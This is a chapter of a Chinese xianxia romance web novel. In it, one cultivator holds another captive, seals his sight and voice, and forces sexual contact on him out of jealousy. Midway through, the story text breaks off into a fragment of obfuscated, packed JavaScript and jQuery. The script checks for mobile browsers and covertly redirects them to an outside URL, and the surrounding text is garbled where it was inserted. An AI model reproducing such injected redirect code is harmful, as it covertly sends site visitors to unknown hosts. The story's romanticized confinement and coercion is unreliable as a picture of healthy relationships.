85.第 85 章

作品:《风雪无埃

    应流扬看不见,他敏锐地察觉到说完这话,面前的人连呼吸都重了几分,像是在压抑着什么,久久没有回答。


    在这片沉默中,应流扬心中忽然升起几分快意。


    从前事事都在揣摩他的心意,顺着他的心意行事,生怕一个不小心惹得言袭生气,费尽心思去哄,如今希望破灭,忽然一下轻松了许多。


    他是别有目的不假,可是这半年的谨小慎微事事顺从,也没有换来想要的结果。


    应流扬觉得有点累了。


    即便是相识许久,也会因为一个眼神一句话将这些日子的温存全部推翻,脆弱得不堪一击。


    他现在只想离开。


    “你觉得谢人间会帮你?”沉默许久,还是言袭先开了口。


    他说得很轻。


    修习言诀的缘故,言袭的声音低沉,如山中晨钟,悠远静谧,是带着神性的,无形中给人一种信服的力量,可此刻却是轻飘飘的。


    即便是看不见言袭的表情,应流扬也能感觉到那轻飘飘的语气中带着丝丝寒意,深入骨髓。


    “我想……”应流扬有些瑟缩,他不敢再说下去。


    言袭冷到骨子里的语气让应流扬猛地清醒过来。


    他意识到自己现在和言袭的悬殊,为逞一时的快意得罪言袭对自己只会无益。


    难道自己说要去找谢人间,言袭就会放自己去找吗?


    应流扬咽了咽口水,道:“我……也不是要去找谢人间,就是…我待在这里也一直惹你生气,对风息山庄来说我留在此处是个祸患,对你来说也是徒增麻烦,若是离开,你我都会好过一些。”


    说完,他松了口气,觉得自己找了个绝妙的借口。


    却看不见此时言袭的脸色阴沉得像雷暴来前的乌云。


    他静静地重复应流扬的话:“好过一些?”


    “对……”应流扬感觉到言袭这个询问似乎有松动之意,他小心翼翼道:“我们本就是错误的开始,既是错误,应当及时止损才是……”


    “错误?”言袭骤然压近应流扬,沉沉的声音悬停在应流扬的上方:“你是今天才意识到勾引我是错误的?”


    “……什么?”应流扬呆了呆。


    他没料到会从言袭嘴里听见这种话。


    这个词。


    勾引。


    他难堪起来。


    “你是一直想走?还是今天看见谢人间来了才想走?”


    “我……”应流扬有些心虚。


    事实上,比起言袭一言不合就封住他的视觉,他更在意的是,在这浮光竹院近半年,他破碎的灵根没有一丝一毫的变化。


    也许在某些岁月静好的时刻他能泰然处之,但此刻明显不是。


    言袭怒极反笑,罕见地刻薄起来:“你别忘了,你是怎么勾引我的?少.宗.主。”


    后面三个字他刻意加重了音调,听来更是讽刺至极。


    此时的语气,和冷峰之中的陌生人如出一辙。


    应流扬甚至没来得及震惊难过,就被言袭捏住了下半张脸。


    他的声音冷到了极致:“有利用价值就极尽所能讨好,没用了就一脚踢开,应流扬,在你眼里我就是一个召之即来挥之即去的东西?”


    脸颊被言袭捏住,指根收紧压住下颌,应流扬连张嘴都很艰难,他声音微弱地重复了一遍:“利用价值?”


    说起利用,应流扬只觉得可笑。


    他想过利用言袭,日日如履薄冰般讨好,却没占到半点好处,甚至被囚在此处半年没见过外人。


    这些……他不是不知道。


    只是为了某些虚无缥缈的东西他选择缄默不言。


    他在言袭手底下勉强扯动嘴角,笑意虚虚浮在脸上,不达眼底,是悲凉的,“什么利用价值?我利用你什么了?”


    应流扬愤怒起来:“你把我囚在这里,也不肯教古剑决……言袭,你日日给我喝的药到底是什么?”


    “这半年没有一丝进展我有多问过一句?我利用你?我只求你别骗我你做到了吗?”


    “……”捏住应流扬的手松了几分力,似有迟疑。


    应流扬更觉悲哀,“冷峰里的人是不是你?”


    “……”不知是不是心虚,言袭的手放了下去。


    “为什么?”


    “为什么?”


    明知得不到回应,应流扬还是忍不住追问。


    他早该想到,从言袭并未拒绝自己,只是冷着脸说是他主动开始就该想到。


    这样孤高疏离的外表下藏着何其可怖的一颗心!


    “主动的人是我?难道从来不是你在主动?”应流扬猛地扣住言袭瘦削苍劲的肩骨,手指收紧,抓得布料在手底下皱成一团,“无埃剑宗第一剑修做这种事……你与我有什么分别?不……你比我更虚伪!更可怕!”


    沉默了一会,言袭居然给出了回答。


    他说:“只是生气而已。”


    “什么?”应流扬不可置信地抬起眼。


    “事实上,我早就想这么做了。”言袭的声音平稳的可怕,却在一字一句,清晰地吐露内心最真实的想法,“你总是露出这副勾引人的嘴脸吗?应流扬。”


    视线受阻,应流扬甚至很难想象言袭在说这话时的表情。


    这样的话,他在冷峰已经听过一遍了。


    可再听见,明确眼前的人是言袭时,应流扬仍旧觉得不可置信。


    更可怕的是,言袭说完这话,应流扬的视线竟逐渐明晰起来,褪去眼前的混沌,他猝不及防对上言袭的眼。


    如墨一般沉,此刻像是某种冷血动物,阴鸷冰冷地盯着他。


    他第一次看清言袭眼底的情绪。


    说着那样的话的人此刻看起来依然出尘,只是眼底的墨色翻搅开,里面某种令应流扬感到心惊的情绪仿佛就要流溢出来。


    这比看不见时还要可怕。


    应流扬忍不住往后退了一步。


    可言袭并不给他远离的机会,他骤然逼近,欺身而上,将应流扬压住。


    原来房中空无一物也是幻象,应流扬的背脊被压在凭空出现的桌上,杯盏被撞倒,叮叮当当碎了一地,与应流扬脑中的轰鸣交织在一起。


    应流扬的脸上露出痛苦惊恐的神色。


    这样的力量……


    他想起被楼容川打碎灵根的那晚,他也是这样被绝对的力量限制到没有一点办法反抗,只能任由言袭冰冷的手在身体上肆意游走。


    他仰在言袭身下,如货物一般被摩挲扫视。


    他听见言袭说:“你总要付出代价。”


    代价?


    什么代价?


    那日他说即便没有感情也会娶云庭禾。


    难道是因为云庭禾……


    来不及多想,屋外忽地传来敲门声。


    言袭的动作一滞。


    谢人间的声音传入耳中,似有事未说完,“对了……”


    门未关紧,轻轻敲了几下便开了一条缝。


    隔着屏风只能朦朦胧胧看见两道相缠的身影。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802542|155234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谢人间一愣。


    他未想过向来清心寡欲的言袭也有这样一面。


    如此也想得通言袭对应流扬的事淡淡的态度,原来是心有所属了。


    谢人间心里暗松一口气。


    到底是撞破了别人的私事,他面露尴尬,咳嗽了一声,退了几步,道:“我晚些来。”


    不行!他不能走!谢人间不能走!


    应流扬骤然瞪大了眼,顾不上许多,猛地张开嘴,企图喊住将要离开的谢人间。


    可就在他张口的一瞬,他发现自己只能微弱地发出气声。


    他被封住了声音。


    “你想喊他吗?”言袭吻上应流扬耳阔,“让谢人间来看你这副模样?”


    言袭灼热地吻上他的耳廓:“我早就想这么做了。”


    应流扬顾不上听言袭的话,他整个人挣扎起来,偏过头,张大了嘴,用力地往谢人间的方向去看。


    整张脸因为用力而涨得通红,一双眼血丝暴起。


    可那里空空如也,谢人间已然离开。


    应流扬望了许久,确认了谢人间真的已经走远后脸色渐渐灰败下来。


    冰冷的手盖住应流扬的视线,言袭叹息一般:“我忘了,你从来都不在意这些。”


    “你知道吗?”言袭低声道:“从你领罚的那日我就这样想了,和那个合欢体做得这么激烈吗?少宗主。”


    那日应流扬奉剑受罚,眼底没有一丝后悔,清冽的让他妒忌。


    “灵龟宝地里你也袒护他。”从质问第一句话开始,郁结了十年的妒意像被戳开一个口子。


    他比不上谢人间,连这个中途冒出来的人,都比他更重要……


    妒意起初是一点点流溢出来,到了后面口子被撑大了,撑破了,满腔都是酸意,冲得他理智全无,只想把眼前的人全部占据,叫整个风息山庄都提不得他的名姓,他就待在这里,不要被任何人发现,只留在自己身边。


    应流扬别开脸,仿佛绝望了似的。


    “不过一个合欢体你就把持不住了,应流扬,你比我想象的更弱。”


    应流扬没有说话,视线越过言袭的肩头,漫无目的地散落。


    言袭解了他声音的禁制,可应流扬自始至终都很安静。


    于是言袭也安静下来。


    束得一丝不苟的白发罕见地被汗水打湿,额上蒙了一层薄薄的汗。


    有一滴汗落在应流扬颈侧,滑进衣服里。


    应流扬凝视着言袭,忽然道:“对于你们来说,我确实是弱者。”


    像是往烧得滚烫的水里泼了一盆冷水,绷紧的弓骤然拉断,压在身上的人动作忽然停了下来。


    言袭低下头看他,气息是乱的,白发散落下来,随着呼吸起伏拂过应流扬的脸。


    他依旧是高高在上的,俯视着应流扬,十足冷酷:“弱者就该有弱者的样子。”


    “弱者应该是什么样?”听见这话,应流扬像是被刺激到了,本来面如死灰的脸上又出现了生动的表情。


    是那种,他最迷恋的蓬勃的生命力。


    仿佛是被他眼底忽然又升腾起来的火焰刺到,言袭竟有一瞬的呆愣。


    “不该去争宗主之位?该像谢人间说的那样,不该去争本就不属于我的东西?”应流扬定定看向,目露哀伤:“可是言袭,你有没有想过,若是我该有弱者的样子,今日就不会有我应流扬站在你面前。”


    “……”


    “我本以为,你和他们不一样,至少……会比他们更了解我。”